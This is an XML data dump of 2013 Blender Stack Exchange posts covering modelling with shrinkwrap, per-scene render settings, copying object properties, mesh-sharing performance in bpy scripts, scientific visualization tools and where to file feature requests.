  <row Id="1174" PostTypeId="2" ParentId="1129" CreationDate="2013-06-19T09:33:58.557" Score="3" Body="&lt;p&gt;You need a face loop around the rim where the big sphere meets the carving.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate the big sphere. The duplicate will be deleted lated.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Shrinkwrak the original big sphere to the duplicate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete a portion of the sphere to cover the carving, and then some.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the edge loop around the hole.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude it and scale it down some.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &quot;to sphere&quot; (I never found this in any menu so I hit space and type &quot;sphere&quot;) and hit 1 to make your loop round.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply the shrinkwrap modifier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may need to iterate &quot;to sphere&quot; and shrinkwrap a couple of times before it looks good. This is because the shrinkwrap can change the edge loop.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The rest of this you can do in a number of ways. Here is one way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Fill the hole.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inset the edge a number of times to get enough geometry for a nice carving.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a vertex group of the geometry to be carved.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a shrinkwrap modified to do the carving. Set the vertex group to be shrink wrapped (otherwise your whole sphere will be wrapped).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-06-19T09:33:58.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1175" PostTypeId="1" AcceptedAnswerId="1176" CreationDate="2013-06-19T10:31:49.850" Score="5" ViewCount="657" Body="&lt;p&gt;I have a .blend file with two scenes in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I set different &lt;em&gt;Properties panel &gt; Render tab&lt;/em&gt; settings (dimensions, frame rate, etc.) for different scenes in the same .blend file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="20508" LastEditDate="2016-07-18T20:52:37.343" LastActivityDate="2016-07-18T20:52:37.343" Title="Can I set render settings by individual scenes?" Tags="&lt;scene&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1176" PostTypeId="2" ParentId="1175" CreationDate="2013-06-19T10:35:25.820" Score="5" Body="&lt;p&gt;Yes you can, make sure when creating a new scene to choose &lt;em&gt;New&lt;/em&gt; for a fresh default scene or &lt;em&gt;Full Copy&lt;/em&gt; to make a copy of your current one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any changes you make to the settings in either scene will stay unique to that scene.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Scenes&quot;&gt;wiki&lt;/a&gt;, the three options when creating a new scene that I think you should pay attention to are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;New&lt;/strong&gt;&lt;br&gt;&#xA;  Creates an empty Scene. In the new Scene, the Render Settings are set to the default values.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Copy Settings&lt;/strong&gt;&lt;br&gt;&#xA;  Creates an empty Scene like the previous option but also copies the Render Settings from the original Scene into the new&#xA;  one.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Full Copy&lt;/strong&gt;  Is the deepest form of copying available. Nothing is shared. This option creates a fully independent Scene with copies of&#xA;  the currently selected Scene's contents. Every Object in the original&#xA;  Scene is duplicated, and a duplicate, private copy of its ObData is&#xA;  made as well.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-19T10:41:18.643" LastActivityDate="2013-06-19T10:41:18.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1177" PostTypeId="1" AcceptedAnswerId="1178" CreationDate="2013-06-19T11:43:24.790" Score="22" ViewCount="15526" Body="&lt;p&gt;I have been using the Copy Attributes add-on to copy some properties from active object to selected objects. This add-on is not enabled by default and must be explicitly enabled. But its a very useful workflow enhancing tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GzXDa.png&quot; alt=&quot;Copy Attributes Add-On in action&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a limitation though. Not all properties can be copied and even those that can be copied are copied in groups (Its hard-coded in to the add-on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is if there is a built-in feature or any another other way to copy any property from the active object to the selected objects?&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-06-21T15:44:10.180" LastActivityDate="2017-09-15T04:33:31.580" Title="How do I copy a property from an active object to selected objects?" Tags="&lt;workflow&gt;&lt;interface&gt;&lt;add-on&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="1178" PostTypeId="2" ParentId="1177" CreationDate="2013-06-19T11:43:24.790" Score="25" Body="&lt;p&gt;It appears there are few other options for copying properties.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Built-In Features&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Choose the objects to which a property has to be copied (destination) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then choose the object from which to copy the property (source) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;Properties panel&lt;/em&gt;, &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot;&gt; RMB&lt;/kbd&gt; on the property and select &lt;em&gt;Copy To Selected&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can also Press and Hold &lt;kbd&gt;ALT&lt;/kbd&gt; key and then change the property on active object so that the selected objects also get updated.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the screenshot, the &lt;em&gt;show_name&lt;/em&gt; property on an &lt;em&gt;Cube&lt;/em&gt; object is about to be copied to the &lt;em&gt;Lamp&lt;/em&gt; and &lt;em&gt;Camera&lt;/em&gt; objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gOD7x.png&quot; alt=&quot;Copying properties by using the Copy to Selected menu item&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/J3W6I.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J3W6I.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some properties can also be copied using the &lt;em&gt;Object &gt; Make Links&lt;/em&gt; menu available via &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;L&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fPPXJ.png&quot; alt=&quot;Make links menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Add-On: System Property Chart&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There is an add-on called &lt;em&gt;System Property Chart&lt;/em&gt;, which is bundled with Blender but is not enabled by default. After enabling, you can use it like so:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Property Chart panel is located in the properties panel of the &lt;em&gt;3D View Editor&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;By default, some properties already exist for viewing and editing. You can save presets by clicking the &lt;em&gt;+&lt;/em&gt; icon.&lt;/li&gt;&#xA;&lt;li&gt;If you want more properties you can find the property in the interface and the right click on it and choose &lt;em&gt;Copy Data Path&lt;/em&gt; and then paste it in the text area below the presets menu.&lt;/li&gt;&#xA;&lt;li&gt;The first row displayed is the active object and the rest the selected objects.&lt;/li&gt;&#xA;&lt;li&gt;By clicking the clipboard icon next to the column text, properties from active object is copied to selected objects.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: This panel displays properties of selected objects only. If there is no selection in the viewport, the spreadsheet is not displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bk7W4.png&quot; alt=&quot;System Property Chart Add-On&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2017-09-15T04:33:31.580" LastActivityDate="2017-09-15T04:33:31.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1180" PostTypeId="1" AcceptedAnswerId="1181" CreationDate="2013-06-19T15:24:14.957" Score="8" ViewCount="2000" Body="&lt;p&gt;It's possible with files (right-click, &lt;code&gt;x&lt;/code&gt; key, click &quot;Delete&quot; to confirm), but I haven't gotten it to work with directories yet. In case it changes anything, I'm using Blender 2.67b on Debian 7.0.&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-06-19T15:29:49.403" Title="Is it possible to delete folders in Blender's file view?" Tags="&lt;file-browser&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1181" PostTypeId="2" ParentId="1180" CreationDate="2013-06-19T15:29:49.403" Score="3" Body="&lt;p&gt;It is not possible to to delete directories in Blender's file browser, unfortunately.&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-06-19T15:29:49.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1182" PostTypeId="1" AcceptedAnswerId="1201" CreationDate="2013-06-19T16:36:12.367" Score="8" ViewCount="5124" Body="&lt;p&gt;In my script I am importing a large amount of objects (+2500) but sharing the mesh data from one single primitive. While this has taken care of importing speed, it completely slows blender down. However when I import as individual primitives blender is very responsive even with + 2500 objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does blender slow down (frame rate, buttons, etc) when sharing mesh data blocks and is there anyway to aliviate this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def create_mesh(name, radius, locat):&#xA;    #print (fList)&#xA;&#xA;    # Create mesh and object&#xA;    mesh = bpy.data.meshes.new('Sphere')&#xA;    mesh = bpy.data.meshes['Primary']&#xA;    obj = bpy.data.objects.new('Shpere', mesh)&#xA;    #obj.show_name = True&#xA;    obj.scale = (radius, radius, radius)&#xA;    obj.location = locat &#xA;&#xA;    # Link object to scene and make active&#xA;    scn = bpy.context.scene&#xA;    scn.objects.link(obj)&#xA;    #scn.objects.active = obj&#xA;    #obj.select = True&#xA;&#xA;&#xA;    # Update mesh with new data&#xA;    mesh.update() &#xA;&#xA;    return obj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="438" LastEditorUserId="2952" LastEditDate="2015-11-25T03:59:12.990" LastActivityDate="2015-11-25T03:59:12.990" Title="Blender becomes very slow with large amount of objects sharing mesh data" Tags="&lt;python&gt;&lt;performance&gt;&lt;data-blocks&gt;" AnswerCount="4" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1183" PostTypeId="2" ParentId="1182" CreationDate="2013-06-19T17:09:13.517" Score="9" Body="&lt;p&gt;You're sharing one object data (&lt;code&gt;Primary&lt;/code&gt;) among +2500 objects, but with this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.meshes.new('Sphere')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... you're also creating +2500 orphan mesh data. It's easy to add several MBs to Blender's memory usage (verifiable through System Monitor), just running that bit of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for i in range(1, 2500):&#xA;    bpy.data.meshes.new('Sphere')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The orphaned obdatas won't be reclaimed until loading new scene or quitting (to see them, select a mesh object, click the dropdown button to the left of the obdata's name in &lt;strong&gt;Properties&lt;/strong&gt; area's &lt;strong&gt;Object Data&lt;/strong&gt; tab). For scenes large enough, in systems with low RAM, this could slow down the whole system.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-06-19T23:34:37.427" LastActivityDate="2013-06-19T23:34:37.427" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1184" PostTypeId="5" CreationDate="2013-06-19T17:25:02.290" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-19T17:25:02.290" LastActivityDate="2013-06-19T17:25:02.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1185" PostTypeId="4" CreationDate="2013-06-19T17:25:02.290" Score="0" Body="An operator is a processing unit that is invoked/executed on scene data by the window manager." OwnerUserId="228" LastEditorUserId="12" LastEditDate="2013-11-10T01:04:55.693" LastActivityDate="2013-11-10T01:04:55.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1186" PostTypeId="1" CreationDate="2013-06-19T18:52:03.770" Score="7" ViewCount="2554" Body="&lt;p&gt;It is there any way to export the foam data generated from ocean modifier to use it in other render engine, like LuxRender? The manual says that the foam data is stored as vertex color data, but there isn't a way to access the vertexColor data. I know that can be accessed from Cycles from attribute's node. LuxRender supports vertex color and I tried to bake the texture to &lt;em&gt;vertexColor&lt;/em&gt; and an image but only get a plain black texture.&lt;/p&gt;&#xA;" OwnerUserId="384" LastEditorUserId="20" LastEditDate="2014-03-05T21:06:05.803" LastActivityDate="2020-07-09T05:40:13.737" Title="Ocean modifier and foam data export?" Tags="&lt;modifiers&gt;&lt;export&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1187" PostTypeId="1" AcceptedAnswerId="1188" CreationDate="2013-06-19T19:46:36.130" Score="67" ViewCount="21602" Body="&lt;p&gt;Is there an interface or API that allows using Blender as a tool for mathematical and scientific visualization?  It should allow Blender to read in data (a la gnuplot or matlab, perhaps using scipy) and interface with Blender's primitives and rendering engine to create the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Detailed Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was imagining (hoping for) an API that would take matplotlib-like calls (e.g., &lt;code&gt;plt.{x,y,z}label&lt;/code&gt;, &lt;code&gt;plt.gca&lt;/code&gt;, &lt;code&gt;plt.plot(cos(x in range(0,2*pi,0.01*pi)) )&lt;/code&gt;, etc.) but instead of drawing to a canvas, it would generate a scene. It would be fantastic to be able to map data or functions to texture coordinates, to add more sophisticated visualization techniques than color maps allow. Also nice would be to input functions as parameters to textures or meshes, so I could &quot;plot&quot; a catenary path, and then make a polygon follow that path to make a mathematically precise arch.&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="15795" LastEditDate="2016-12-23T13:46:40.080" LastActivityDate="2017-02-28T11:15:12.303" Title="Is there a tool for scientific visualization using Blender?" Tags="&lt;python&gt;&lt;mathematics&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="41" ContentLicense="CC BY-SA 3.0" />
  <row Id="1188" PostTypeId="2" ParentId="1187" CreationDate="2013-06-19T19:51:43.983" Score="49" Body="&lt;h2&gt;Blender &lt;em&gt;is&lt;/em&gt; the tool and bpy is &lt;em&gt;the&lt;/em&gt; API.&lt;/h2&gt;&#xA;&lt;p&gt;If you want to render geometry you can use &lt;code&gt;bpy&lt;/code&gt; to deal with any meaningful input. Blender has been used effectively to display data for scientific publications for many years. I'll add a non-exhaustive list below. But if you are expecting ready made functions to plot a 3D scatter plot with scales and cube grid, with evenly spaced intelligent sub-ticks, I'm not aware of any. However, once written you can pump similar data through that routine in the future. This might be a lot of work the first time, but then you learn how to do it and can customize your visualizations meticulously.&lt;/p&gt;&#xA;&lt;p&gt;The more you can prime your data in those packages like matlab, octave, numpy, and scipy prior to bringing it into Blender the better. (ie. find the min / max / scale / appropriate dimensioning values, tag your data set ..etc). If you are using matplotlib, it is possible to retrieve generated plot data (like autoscaling margins..etc) and use that to build your custom scene.&lt;/p&gt;&#xA;&lt;p&gt;In recent official builds (and from &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;noreferrer&quot;&gt;builder.blender.org/download/&lt;/a&gt;) the numeric Python library &lt;a href=&quot;https://en.wikipedia.org/wiki/NumPy&quot; rel=&quot;noreferrer&quot;&gt;numpy&lt;/a&gt; is included by default. Allowing you to speed up a lot of heavy computations which don't rely directly on bpy.&lt;/p&gt;&#xA;&lt;h3&gt;Useful plotting addons:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Add_3d_Function_Surface&quot; rel=&quot;noreferrer&quot;&gt;Add Mesh / Add 3d Function Surface&lt;/a&gt;: Takes formulae for x, y and z axis and generates the surface mesh.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/nortikin/sverchok&quot; rel=&quot;noreferrer&quot;&gt;Sverchok&lt;/a&gt;: This node based geometry generation add-on is developed primarily with Architecture and Design in mind, but it can generate meshes from any kind of data, or a combination of its 150+ nodes. If the data type isn't supported by default you can easily write an importer or ask on our &lt;a href=&quot;https://github.com/nortikin/sverchok/issues&quot; rel=&quot;noreferrer&quot;&gt;Github issue tracker&lt;/a&gt; for advice.&lt;/p&gt;&#xA;&lt;h3&gt;Examples of scientific usage of Blender&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;Mathieu Gibert&lt;/strong&gt;&lt;br /&gt;&#xA;This researcher at the Max Planck Institute for Dynamics and Self-Organization used it here: &lt;a href=&quot;http://www.gibert.biz/downloads/3dscatterplotswithblender&quot; rel=&quot;noreferrer&quot;&gt;http://www.gibert.biz/downloads/3dscatterplotswithblender&lt;/a&gt;&#xA;(with an example script, and data)&#xA;There's a &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?134706-Blender-3d-Point-Data-usefull&quot; rel=&quot;noreferrer&quot;&gt;thread&lt;/a&gt; over at BlenderArtists about his forays into visualizing that data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;BioBlender&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;http://bioblender.eu/&quot; rel=&quot;noreferrer&quot;&gt;http://bioblender.eu/&lt;/a&gt; with some fantastic renderings of molecular structures. From version 1.0 onwards this has become an addon, and has its own &lt;a href=&quot;https://github.com/MonZop/BioBlender&quot; rel=&quot;noreferrer&quot;&gt;Github repository&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;excerpt from the site:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;BioBlender is the result of a collaboration, driven by the SciVis&#xA;group at the CNR in Pisa (Italy), between scientists of different&#xA;disciplines (biology, chemistry, physics,  computer sciences) and&#xA;artists, using Blender in a rigorous but at the same time  creative&#xA;way.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Visualize Color Spaces&lt;/strong&gt;&lt;br /&gt;&#xA;Interesting visualization from Mark Meyer to show color spaces.&#xA;&lt;a href=&quot;http://www.photo-mark.com/notes/2013/mar/13/color-theory-blender/&quot; rel=&quot;noreferrer&quot;&gt;http://www.photo-mark.com/notes/2013/mar/13/color-theory-blender/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CellBlender&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;http://mcell.org/&quot; rel=&quot;noreferrer&quot;&gt;http://mcell.org/&lt;/a&gt; (combines matplotlib and Blender 2.6x)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;MCell and CellBlender development is an ongoing collaboration between&#xA;researchers at the Pittsburgh Supercomputing Center, the Department of&#xA;Computational and Systems Biology of the University of Pittsburgh, and&#xA;the Computational Neurobiology Laboratory at the Salk Institute, with&#xA;support from the National Institutes of Health, the Howard Hughes&#xA;Medical Institute, and the National Science Foundation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;AstroBlend&lt;/strong&gt;:&lt;br /&gt;&#xA;An Astrophysical Visualization Package for Blender. &lt;a href=&quot;http://www.astroblend.com/&quot; rel=&quot;noreferrer&quot;&gt;http://www.astroblend.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the abstract to &lt;a href=&quot;http://arxiv.org/abs/1602.03178&quot; rel=&quot;noreferrer&quot;&gt;this paper&lt;/a&gt;, which is  introductory to AstroBlend&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;an open-source Python library for use within (...) Blender. (...) AstroBlend combines the three dimensional capabilities of Blender with the analysis tools of the widely used astrophysical toolset, &lt;em&gt;yt&lt;/em&gt;, to afford both computational and observational astrophysicists the ability to simultaneously analyze their data and create informative and appealing visualizations&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Elsewhere&lt;/strong&gt;&lt;br /&gt;&#xA;A swift google search for &lt;em&gt;blender for scientific visualization&lt;/em&gt; returns many examples of people using Blender with their data.&lt;/p&gt;&#xA;&lt;p&gt;I started a github repo with scripts that may be of use for understanding how to create 3d meshes from functions, called &lt;a href=&quot;https://github.com/zeffii/BlenderSciViz/blob/master/README.md&quot; rel=&quot;noreferrer&quot;&gt;BlenderSciViz&lt;/a&gt;. It is still rather minimal but I welcome any reasonable feature requests if you can provide me with representative data sets so I can test and fine tune the resulting geometry algorithms.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-02-12T14:42:25.660" CommentCount="4" CommunityOwnedDate="2016-02-12T14:42:25.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="1189" PostTypeId="2" ParentId="985" CreationDate="2013-06-19T22:09:31.753" Score="20" Body="&lt;p&gt;The flower mesh has a solidify modifier which is only enabled for rendering. The extra thickness from this modifier makes the translucent material give a different result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general for differences between render and viewport, check these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Object viewport and render visibility in the outliner&lt;/li&gt;&#xA;&lt;li&gt;Modifier viewport and render visibility&lt;/li&gt;&#xA;&lt;li&gt;Particles and hair resolution settings&lt;/li&gt;&#xA;&lt;li&gt;Curve, surface and metaball tessellation settings&lt;/li&gt;&#xA;&lt;li&gt;Render layer settings&lt;/li&gt;&#xA;&lt;li&gt;Color management settings&lt;/li&gt;&#xA;&lt;li&gt;Compositing nodes and sequencer strips&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-19T22:09:31.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1190" PostTypeId="1" AcceptedAnswerId="1211" CreationDate="2013-06-19T23:45:19.540" Score="38" ViewCount="5026" Body="&lt;p&gt;The only place I am aware of is the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Requests&quot;&gt;&lt;em&gt;Features &amp;amp; Proposals&lt;/em&gt; section of the official wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="1253" LastEditDate="2013-12-29T22:54:49.640" LastActivityDate="2020-03-12T01:41:10.220" Title="Best Place to put Feature Requests?" Tags="&lt;documentation&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="11" CommunityOwnedDate="2013-07-12T20:46:08.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="1191" PostTypeId="2" ParentId="1187" CreationDate="2013-06-20T00:19:11.247" Score="8" Body="&lt;p&gt;What we do is use ParaView for the scientific visualization and export the scenes into a format that Blender can use (X3D I believe, it's been awhile). Then we pull in the data and render much better looking scenes in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have also toyed with the idea of using ParaView CoProcessing to take our simulation data in-situ, generate our data, and then pass it through to Blender through the Python interface for rendering in-situ. However, we never figured out the way to get through the Fortran-&gt;C-&gt;Python 2.* (Paraview)-&gt;Python 3.* (Blender).&lt;/p&gt;&#xA;" OwnerUserId="753" LastActivityDate="2013-06-20T00:19:11.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1192" PostTypeId="2" ParentId="1190" CreationDate="2013-06-20T00:45:19.320" Score="5" Body="&lt;p&gt;I'm not sure how many of these requests are actually acknowledged, but I know that &lt;a href=&quot;http://www.blenderstorm.org/&quot; rel=&quot;nofollow&quot;&gt;BlenderStorm&lt;/a&gt; is one place to request them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you can get featured on BlenderNation for some reason (i.e. &lt;a href=&quot;http://www.blendernation.com/2011/07/14/how-to-submit-a-feature-request/&quot; rel=&quot;nofollow&quot;&gt;creating a funny short animation requesting the feature&lt;/a&gt;), that's another way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to know what features are being added, check out BlenderGuru's &quot;&lt;a href=&quot;http://www.blenderguru.com/is-it-in-blender-yet/&quot; rel=&quot;nofollow&quot;&gt;Is it in Blender Yet&lt;/a&gt;&quot; list, or chat with the developers on &lt;a href=&quot;http://webchat.freenode.net&quot; rel=&quot;nofollow&quot;&gt;Blenders Developer IRC channel&lt;/a&gt; (go to channel #blendercoders).&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="1977" LastEditDate="2013-12-27T20:20:41.823" LastActivityDate="2013-12-27T20:20:41.823" CommentCount="3" CommunityOwnedDate="2013-07-12T20:46:08.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="1194" PostTypeId="2" ParentId="1190" CreationDate="2013-06-20T05:17:19.890" Score="14" Body="&lt;p&gt;If you can put your money where your mouth is, then &lt;a href=&quot;http://www.blendernetwork.org/&quot; rel=&quot;noreferrer&quot;&gt;BlenderNetwork&lt;/a&gt; is where you will find people willing and able to commit time and knowledge for addon development or additions to the core. If you go this route then making changes available to the public has the advantage that anyone can help bug-fix and improve such development efforts. Maintaining your own build might not be an option, without paying for long-term support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Else you are left to the mercy of fellow blender heads to see the merit of your feature request, to the extent that they are willing to commit their own time to making it happen or help you some part of the way. A curated feature request daughter site of SE would be interesting, but don't underestimate the power of BlenderArtists, BlenderStorm, and Twitter hashtags &lt;code&gt;#b3d&lt;/code&gt; &lt;code&gt;#blender&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Requests on the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Requests&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;It's a good idea to hunt through the current collection of feature requests, you might find yours is already on this list. If it's close enough to what you want then consider updating it or make a new one (but explain why the existing one is different). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Presentation and content of feature request&lt;/strong&gt;&lt;br&gt;&#xA;First impressions matter. The presentation and content of the proposal / feature request are going to be deal breakers. A good proposal has several key properties, and includes: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An unambiguous definition of the request,  &lt;/li&gt;&#xA;&lt;li&gt;A well written use-case for the request,  &lt;/li&gt;&#xA;&lt;li&gt;A list of well-reasoned arguments identifying why current methods are not sufficient &lt;/li&gt;&#xA;&lt;li&gt;Isn't too ambitious as to require a platoon of coders to implement.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't know how important it is to have prominent donating users undersign the proposal, if ideas are good/useful and simple to implement the chances of success does increase.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="1977" LastEditDate="2013-12-27T20:19:01.517" LastActivityDate="2013-12-27T20:19:01.517" CommentCount="0" CommunityOwnedDate="2013-06-20T11:14:07.833" ContentLicense="CC BY-SA 3.0" />
